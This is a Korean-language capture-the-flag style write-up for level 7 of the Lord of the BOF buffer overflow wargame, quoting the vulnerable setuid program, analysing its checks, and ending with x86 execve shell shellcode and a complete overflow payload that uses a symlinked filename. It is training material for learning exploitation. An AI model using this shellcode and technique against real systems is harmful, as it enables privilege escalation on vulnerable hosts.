LOB란 The Lord of the BOF의 약자로 Buffer over-flow를 연습해 볼 수 있는 해킹문제이다.
총 20문제로 구성되어 있으며 각 문제를 격파하여 다음 레벨의 패스워드를 얻는 형식이다.
문제를 격파하고 다음 레벨의 bash를 획득하였다면 my-pass로 패스워드를 확인할 수 있다.
send me email if you have any questions.
LOB Level 7(darkelf)
ID : darkelf
PASSWD : kernel crashed
$ bash2
풀이 시작 전에 bash2로 꼭 변경
bash는 \xff를 \x00(NULL)로 인식하여 제대로 문제를 풀 수 없다.
사용자 orge의 권한의 orge파일이 있음을 확인할 수 있다.
set-uid가 걸려있으므로 사용자 orge의 권한으로 파일을 실행할 수 있다.
orge파일이 쉘을 실행시키도록 한다면 사용자 orge의 쉘을 획득할 수 있다.
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/*
The Lord of the BOF : The Fellowship of the BOF
- orge
- check argv[0]
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// here is changed!
if(strlen(argv[0]) != 77){
printf("argv[0] error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
}
orge.c
소스분석
- argc가 2보다 작다면 “ergv error”을 출력하고 프로그램을 종료한다.
argc란? - 파라미터의 개수를 의미한다. 즉 main에 최소 2개이상의 인자를 전달하여야 한다. - argv[0]의 길이가 77이 아닌경우 “argv[0] error”를 출력하고 프로그램을 종료한다.
argv[0]는 파일명이다. 따라서 파일명의 길이가 75가 아닌 경우 문제를 해결할 수 없다.
파일을 실행할 때 사용하는 명령어 ./도 포함하여 77이기 때문에 파일명은 75 - 환경변수를 memset으로 초기화
환경변수를 이용한 공격 불가 - argv[1][47]의 값이 \xbf가 아닌경우 “stack is still your friend” 출력 후 프로그램 종료
RTL기법 사용 불가 What is RTL? - LOB(level13) - argv[1]의 길이가 48보다 큰 경우 “argument is too long!”을 출력 후 프로그램 종료
RET뒤에 NOP과 ShellCode를 삽입하는 공격 불가 - main에 전달받은 인자 argv[1]을 buffer에 복사하여 출력(argv[0]은 파일명)
strcpy함수는 복사할 데이터의 크기제한이 없기 때문에 argv[1]이 40Byte보다 크다면 buffer-overflow가 발생하는 취약점이 있다. - memset으로 buffer를 모두 0으로 초기화
Solution
LOB(level6)와 같이 argv[1]의 주소를 이용한다.
추가로 소스분석2번의 조건을 회피하기 위해 심벌릭링크를 이용하여 파일명의 길이를 75로 맞춘다.
심벌릭링크?
링크를 연결하여 원본 파일을 직접 사용하는 것과 같은 효과를 내는 링크이다. 윈도우의 바로가기와 비슷한 개념
level7에서 사용한 쉘코드
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 이전에 사용하던 41Byte 쉘코드는 buffer의 크기가 작아 사용하기 어렵기 때문에 25Byte 쉘코드를 사용
buffer over-flow를 이용하기 위해서는 프로그램 Stack의 구조를 알아야 한다.
| 스택구조 |
|---|
| buffer(40Byte) |
| sfp(4Byte) |
| ret(4Byte) |
SFP(Stack frame pointer) - 이전 함수의 EBP주소를 담고 있다.
(EBP - 스택의 가장 바닥을 가리키는 포인터)
RET(Return Address) - 함수가 종료시 return될 주소
기존 orge.c를 복사하여 argv[1]의 주소를 출력하는 코드를 추가.
buffer에 삽입한 쉘코드는 초기화되지만 argv[1]에는 남아있기 때문에 이를 이용
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/*
The Lord of the BOF : The Fellowship of the BOF
- orge
- check argv[0]
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// here is changed!
if(strlen(argv[0]) != 77){
printf("argv[0] error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
printf("%p\n", argv[1]);
// buffer hunter
memset(buffer, 0, 40);
}
orge.c를 복사하여 소스 추가 -> printf(“%p\n”, argv[1]);
위의 방법으로 argv[1]의 주소를 획득.
argv[1]의 주소 -> 0xbffffbb5
Attack
argv[1]의 주소와 스택의 구조를 파악하였으므로 공격을 시도할 수 있다.
orge의 권한으로 set-uid가 걸린 orge파일에 심벌릭 링크를 걸고
./심벌릭링크 [ShellCode] + [dummy] + [argv(1)주소]의 형태로 공격.
이 때 ShellCode + dummy값의 길이는 buffer의 길이 + sfp(4byte)만큼 즉 44Byte여야 한다.
또한 RET에 덮을 argv[1]의 주소는 리틀 엔디안 방식으로 기입한다.
리틀 엔디안은 최 하위 바이트 부터 저장하는 방식이다.
ex) 0xbffffc11을 리틀 엔디안 방식으로 저장하면 11cfffbf가 된다.
보통 엔디안 방식은 CPU 아키텍쳐에 따라 다르지만 intel x86, x64, AMD 계열은 리틀엔디안, 모토로라 프로세서들은 빅엔디안을 사용한다.
현재 시스템의 엔디안방식을 확인하고 싶다면 echo -n I | od -to2 | head -n1 | awk’{print $2;}’ | cut -c6
명령으로 나오는 값이 1이라면 리틀 엔디안, 0이라면 빅엔디안이다.
공격 성공.
페이로드
$ ./BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB `python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80' + 'A'*19 + '\xb5\xfb\xff\xbf'"`